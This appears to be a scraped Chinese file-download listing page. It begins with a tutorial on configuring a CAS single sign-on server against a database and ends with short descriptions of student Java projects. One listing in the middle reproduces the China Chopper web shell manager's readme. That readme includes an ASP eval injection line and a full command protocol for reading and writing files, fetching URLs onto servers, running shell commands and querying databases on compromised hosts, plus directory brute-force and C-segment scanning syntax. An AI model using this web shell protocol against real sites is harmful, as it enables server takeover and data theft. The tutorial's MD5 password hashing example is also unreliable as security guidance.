简介:
### CAS单点登录服务器配置详解#### 一、CAS单点登录概述CAS(Central Authentication Service)是一种开放源代码的单点登录协议和服务框架,它为Web应用提供了一种简化了的身份验证流程。
通过CAS,用户只需要在一个地方完成登录过程,即可在多个应用间共享登录状态,无需重复登录。
#### 二、CAS服务器安装与配置##### 2.1 安装CAS服务端1. **下载CAS服务端**:首先从官方网址http://www.cas.org/下载最新的CAS服务端压缩包。
2. **部署WAR包**:将下载的WAR包复制到Tomcat的webapps目录下,并将其重命名为`cas.war`。
3. **启动Tomcat**:启动Tomcat服务器,自动解压WAR包,此时会在Tomcat的webapps目录下生成一个名为`cas`的文件夹。
4. **访问CAS**:通过浏览器访问`http://localhost:8896/cas`来测试CAS服务是否正常启动。
##### 2.2 配置CAS使用数据库验证为了实现更安全、更灵活的身份验证机制,我们可以配置CAS使用数据库进行用户身份验证。
具体步骤如下:1. **修改部署配置文件**:打开`cas-server-webapp\WEB-INF\deployerConfigContext.xml`文件,找到`SimpleTestUsernamePasswordAuthenticationHandler`配置项,将其替换为`QueryDatabaseAuthenticationHandler`。
```xml <bean id="authenticationHandler" class="org.jasig.cas.authentication.handler.QueryDatabaseAuthenticationHandler"> <!-- 数据库连接数据源 --> <property name="dataSource" ref="dataSource"/> <!-- 查询语句 --> <property name="sql" value="SELECT password FROM users WHERE username = ?"/> <!-- 密码加密方式 --> <property name="passwordEncoder" ref="passwordEncoder"/> </bean> ```2. **配置数据库连接**:在同一文件中添加一个新的`dataSource` bean来定义数据库连接信息。
```xml <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource"> <property name="driverClassName" value="com.mysql.jdbc.Driver"/> <property name="url" value="jdbc:mysql://localhost:3306/casdb"/> <property name="username" value="casuser"/> <property name="password" value="password"/> </bean> ```3. **配置密码加密方式**:继续在同一文件中添加`passwordEncoder` bean来指定密码加密方式,这里使用MD5作为示例。
```xml <bean id="passwordEncoder" class="org.springframework.security.crypto.password.StandardPasswordEncoder"> <constructor-arg value="MD5"/> </bean> ```4. **测试数据库验证**:重启Tomcat服务器,访问CAS服务器页面,使用数据库中的用户名和密码尝试登录,验证是否可以成功登录。
#### 三、CAS工作原理CAS的工作原理主要分为以下几个步骤:1. **用户访问服务**:用户首次访问受保护的资源时,CAS客户端会检测到HTTP请求中缺少ServiceTicket(简称ST),表明用户尚未经过身份验证。
2. **重定向至CAS服务器**:CAS客户端会将用户重定向到CAS服务器进行身份验证,并携带用户的请求URL作为参数(service参数)。
3. **用户认证**:CAS服务器接收到来自用户的认证请求后,引导用户进入登录页面。
用户输入用户名和密码进行登录,若身份验证成功,则CAS服务器通过HTTPS协议返回一个TGC(Ticket-Granting Cookie)给浏览器。
4. **发放ServiceTicket**:CAS服务器生成一个随机的ServiceTicket(简称ST),并将用户重定向回CAS客户端。
5. **验证ServiceTicket**:CAS客户端收到ST后,向CAS服务器验证ST的有效性。
如果验证通过,则允许用户访问受保护资源。
6. **传输用户信息**:CAS服务器验证ST通过后,将用户的相关认证信息发送给CAS客户端。
通过以上步骤,CAS实现了单点登录的功能,极大地提升了用户体验和系统的安全性。
### 四、CAS与HTTPS在配置CAS服务器时,可以选择使用HTTPS协议来增强通信的安全性。
如果选择HTTPS协议,则需要在服务器上配置CAS证书。
证书的创建和导入过程可以参考以下链接:[http://m.blog..net/zrk1000/article/details/51166603](http://m.blog..net/zrk1000/article/details/51166603)### 总结本文详细介绍了如何配置CAS单点登录服务,并重点讲解了如何利用Java代码实现CAS的配置,包括使用数据库进行登录验证的具体步骤。
同时,还阐述了CAS的基本工作原理,帮助读者更好地理解CAS的工作流程和技术细节。
2025/6/15 19:47:19 293KB
1
一个完整的JAVA源码文件,供初学者搭建项目实践思想!
2025/5/27 11:35:50 534KB Java 源码 MySQL JDBC
1
库存商品管理(jsp)——试题讲解源码及资料,本试题使用Jsp+Servlet+Mysql+JDBC等技术实现库存商品管理,资料齐全
2025/4/20 16:25:46 1.33MB Jsp Servlet 库存商品管理 试题讲解
1
有什么问题的联系我预览地址:https://blog.csdn.net/zhao_fu_lu/article/details/82421818
2025/2/2 21:11:34 3.04MB Servlet Java jdbc
1
产品名称:中国菜刀(Chinachopper)生产厂家:中国菜刀贸易有限公司厂家地址:http://www.maicaidao.com/----------------------------------------------------------------------------------------------------------免责申明: 请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果本厂家不承担任何责任!----------------------------------------------------------------------------------------------------------友情提示:程序在使用过程中难免有各种BUG,到官网看一下是否有更新吧,说不定己经修补了呢。
UINCODE方式编译,支持多国语言输入显示。
在非简体中文环境下使用,自动更换成英文界面,翻译有误的地方请留言指正。
一、脚本客户端(包括但不限于EVAL)部分  1)要了解的  服务端只需要简单的一行代码,即可用此程序实现常用的管理功能,功能代码二次编码后发送,过IDS的能力大幅提高。
  目前支持的服务端脚本:PHP,ASP,ASP.NET,并且支持https安全连接的网站。
  在服务端运行的代码如下:  PHP:  ASP:  ASP.NET: (注意:ASP.NET要单独一个文件或此文件也是Jscript语言)  Customize: 自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与菜刀进行交互即可。
  2)怎么用  在主视图中右键/添加,在弹出的对话框中输入服务端地址,连接的密码(请注意上例中的pass字串),选择正确的脚本类型和语言编码,  保存后即可使用文件管理,虚拟终端,数据库管理三大块功能,同时支持自定义的脚本执行,并可以导入导出数据。
  要是其它都没错误,那么可能就是你把语言编码选错了。
  1.文件管理:[特色]缓存下载目录,并支持离线查看缓存目录;  2.虚拟终端:[特色]人性化的设计,操作方便;(输入HELP查看更多用法)  3.数据库管理:[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS 以及支持ADO方式连接的数据库。
(各种脚本条件下的数据库连接方法请点击数据库管理界面左上角处的配置按钮查看)  注意:由于服务器的安全设置,某些功能可能不能正常使用。
  3)关于配置信息怎么填? A)数据库方面: PHP脚本: 类型类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种 主机地址主机地址可为机器名或IP地址,如localhost 数据库用户连接数据库的用户名,如root 数据库密码连接数据库的密码,如123455 ASP和ASP.NET脚本: 类型类型只能填ADO ADO配置信息 ADO连接各种数据库的方式不一样。
如MSSQL的配置信息为 Driver={SqlServer};Server=(local);Database=master;Uid=sa;Pwd=123456; 同时,支持NT验证登录MSSQL数据库,并能把查询的结果列表导出为html文件 Customize脚本: 类型类型只能填XDB 与Customize脚本约定的配置信息 菜刀自带的server.jsp数据库参数填写方法如下(两行): MSSQL:com.microsoft.sqlserver.jdbc.SQLServerDriverjdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456 MYSQL:com.mysql.jdbc.Driverjdbc:mysql://localhost/test?user=root&password=123456 ORACLE:oracle.jdbc.driver.OracleDriverjdbc:oracle:thin:user/password@127.0.0.1:1521/test B)其它方面: 添加额外附加提交的数据,如ASP的新服务端是这样的: 那么,菜刀在配置处填入: SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function 然后以密码pass来连接即可。
提交功能前先POST额外的数据包:会话期间只提交一次。
https://target.com/cgi-bin/login.cgi uid=user1&pwd=123456  3)关于HTTP登录验证 SHELL地址这样填http://user:pass@server/server.asp 用户名密码中的特殊字符可用URL编码转换。
二、安全扫描  蜘蛛爬行,绑定域名查询,目录爆破。
  命令解释: A)查单一IP的绑定域名 {reverse_ip}{url:http://www.test.com/} B)扫描本C段开放的WEB服务器,并查询绑定域名 {reverse_ip_c}{url:http://www.test.com/} C)只扫描本C段开放的WEB服务器 {reverse_ip_c}{url:http://www.test.com/}{port} D)蜘蛛爬行 {spider}{url:http://www.test.com/} E)蜘蛛爬行,并设定爬行范围 {spider}{url:http://www.test.com/}{range:test.com} F)蜘蛛爬行,过滤重复URL加快速度 加上{filter} G)爆破功能,%s为dict中的一行 flag:后面为返回的数据(含HTTP头部)中的特定关键字 加!!为不包含关键字为TRUE,否则包含关键字为TRUE list.txt为当前目录下的文件,可设为绝对路径,注意:不要包含太多的行。
注:从20100626版开始,list.txt一定要是UNICODE格式的文本文件 {crack}{url:http://%s/admin/}{flag:HTTP/1.1200}{dict:list.txt} {crack}{url:http://%s/admin/}{flag:!!HTTP/1.1404}{dict:list.txt} {crack}{url:http://www.test.com/%s/}{flag:successfully}{dict:list.txt}三、定时提醒  当闹钟来用吧,周期:每月/每周/每日/只一次。
四、快速启动  一些常用的快捷方式放在这里,可以指定用户身份运行程序。
这部分数据是加密存储的。
五、浏览器  就是一个专用的网页浏览器:Post浏览/自定义Cookies,/执行自定义脚本/自动刷新页面/同IP网页搜索。
六、其它部分  等待加入。
文件说明:------------------------------------------------------------------chopper.exe 菜刀程序db.mdb 菜刀的主数据库------------------------------------------------------------------cache.tmp 菜刀的缓存数据库(可删除)readme.txt 你现在正在看的(可删除)[目录]Script 存放菜刀的自写脚本和Customize模式Jsp的一个服务端文件(可删除)----附---------------------------Customize模式菜刀和服务端通信接口---------------------------------------------------------------------------------------------------其它语言的服务端代码可按此接口来编写(请参照server.jsp/server.cfm)---------------------例:菜刀客户端填写的密码为pass,网页编码选的是GB2312注:所有参数都以POST提交,返回的数据都要以->|为开始标记,|<-为结束标记注:返回的错误信息开头包含ERROR://注:\t代表制表符TAB,\r\n代表换行回车,\n代表回车注:数据库配置信息是一个字符串,服务端脚本可以对此字符串格式进行自定义。
--------------------------------------------------------------------------------------------------------------------------------------------------------[得到当前目录的绝对路径]提交:pass=A&z0=GB2312返回:目录的绝对路径\t,如果是Windows系统后面接着加上驱动器列表示例:c:\inetpub\wwwroot\ C:D:E:K:示例:/var/www/html/ [目录浏览]提交:pass=B&z0=GB2312&z1=目录绝对路径返回:先目录后文件,目录名后要加/,文件名后不要加/示例: 目录名/\t时间\t大小\t属性\n目录名/\t时间\t大小\t属性\n 文件名\t时间\t大小\t属性\n文件名\t时间\t大小\t属性\n[读取文本文件]提交:pass=C&z0=GB2312&z1=文件绝对路径返回:文本文件的内容[写入文本文件]提交:pass=D&z0=GB2312&z1=文件绝对路径&z2=文件内容返回:成功返回1,不成功返回错误信息[删除文件或目录]提交:pass=E&z0=GB2312&z1=文件或目录的绝对路径返回:成功返回1,不成功返回错误信息[下载文件]提交:pass=F&z0=GB2312&z1=服务器文件的绝对路径返回:要下载文件的内容[上传文件]提交:pass=G&z0=GB2312&z1=文件上传后的绝对路径&z2=文件内容(十六进制文本格式)返回:要下载文件的内容[复制文件或目录后粘贴]提交:pass=H&z0=GB2312&z1=复制的绝对路径&z2=粘贴的绝对路径返回:成功返回1,不成功返回错误信息[文件或目录重命名]提交:pass=I&z0=GB2312&z1=原名(绝对路径)&z2=新名(绝对路径)返回:成功返回1,不成功返回错误信息[新建目录]提交:pass=J&z0=GB2312&z1=新目录名(绝对路径)返回:成功返回1,不成功返回错误信息[修改文件或目录时间]提交:pass=K&z0=GB2312&z1=文件或目录的绝对路径&z2=时间(格式:yyyy-MM-ddHH:mm:ss)返回:成功返回1,不成功返回错误信息[下载文件到服务器]提交:pass=L&z0=GB2312&z1=URL路径&z2=下载后保存的绝对路径返回:成功返回1,不成功返回错误信息[执行Shell命令(Shell路径前会根据服务器系统类型加上-c或/c参数)]提交:pass=M&z0=GB2312&z1=(-c或/c)加Shell路径&z2=Shell命令返回:命令执行结果[得到数据库基本信息]提交:pass=N&z0=GB2312&z1=数据库配置信息返回:成功返回数据库(以制表符\t分隔),不成功返回错误信息[获取数据库表名]提交:pass=O&z0=GB2312&z1=数据库配置信息\r\n数据库名返回:成功返回数据表(以\t分隔),不成功返回错误信息[获取数据表列名]提交:pass=P&z0=GB2312&z1=数据库配置信息\r\n数据库名\r\n数据表名返回:成功返回数据列(以制表符\t分隔),不成功返回错误信息[执行数据库命令]提交:pass=Q&z0=GB2312&z1=数据库配置信息\r\n数据库名&z2=SQL命令返回:成功返回数据表内容,不成功返回错误信息注意:返回的第一行为表头,接下去每行分别在列表中显示,列数要求一致。
行中的每列后加上\t|\t标记,每行以标记\r\n为结束
2024/10/23 12:54:30 197KB hacker
1
Java+MySQL+jdbc+学生信息管理系统源码,适合初学者下载使用,欢迎大家下载,交流!
2024/9/28 13:02:48 2.39MB Java MySQL jdbc 学生信息
1
下载后文件根目录下有两个GIF图,分别描述管理员操作和顾客操作大概使用说明:1、数据库使用MySQL2、图形界面使用java的JFrame3、导入数据看:将supermarketdb.sql文件导入数据库中后4、修改项目根目录下的c3p0-config.xml的配置文件:com.mysql.jdbc.Driverjdbc:mysql://localhost:3306/supermarketdbroot123第一个参数:为修改连接数据库的驱动,MySQL的驱动包是这个,不用修改第二个参数:只用修改数据库的名字,如果是MySQL的数据库的话,本项目使用supermarketdb这个数据库,即导入的那个.sql文件第三个参数:数据库的用户名,根据自己情况修改第四个参数:数据库连接的密码,根据自己情况修改比较适合初学java的新手和练习数据库的同学
2024/8/2 18:32:54 47.69MB 数据库课设 java课设 商品管理系统
1
采用servlet+mysql+jdbc实现后台注册登录上传头像等
2024/7/24 15:47:11 3.07MB servlet
1
mysqljar包,连接数据库,可以配置idea,pycharm连接数据库
2024/2/10 22:52:31 634KB mysql jar包
1
mysql5.5数据库安装包和mysql-jdbc驱动的jar包,两个文件mysql-5.5.21-win32.msi和mysql-connector-java-5.1.7-bin.jar
2024/1/23 19:18:39 29.64MB mysql mysqljdbc
1
共 30 条记录 首页 上一页 下一页 尾页
在日常工作中,钉钉打卡成了我生活中不可或缺的一部分。然而,有时候这个看似简单的任务却给我带来了不少烦恼。 每天早晚,我总是得牢记打开钉钉应用,点击"工作台",再找到"考勤打卡"进行签到。有时候因为工作忙碌,会忘记打卡,导致考勤异常,影响当月的工作评价。而且,由于我使用的是苹果手机,有时候系统更新后,钉钉的某些功能会出现异常,使得打卡变得更加麻烦。 另外,我的家人使用的是安卓手机,他们也经常抱怨钉钉打卡的繁琐。尤其是对于那些不太熟悉手机操作的长辈来说,每次打卡都是一次挑战。他们总是担心自己会操作失误,导致打卡失败。 为了解决这些烦恼,我开始思考是否可以通过编写一个全自动化脚本来实现钉钉打卡。经过一段时间的摸索和学习,我终于成功编写出了一个适用于苹果和安卓系统的钉钉打卡脚本。
2024-04-09 15:03 15KB 钉钉 钉钉打卡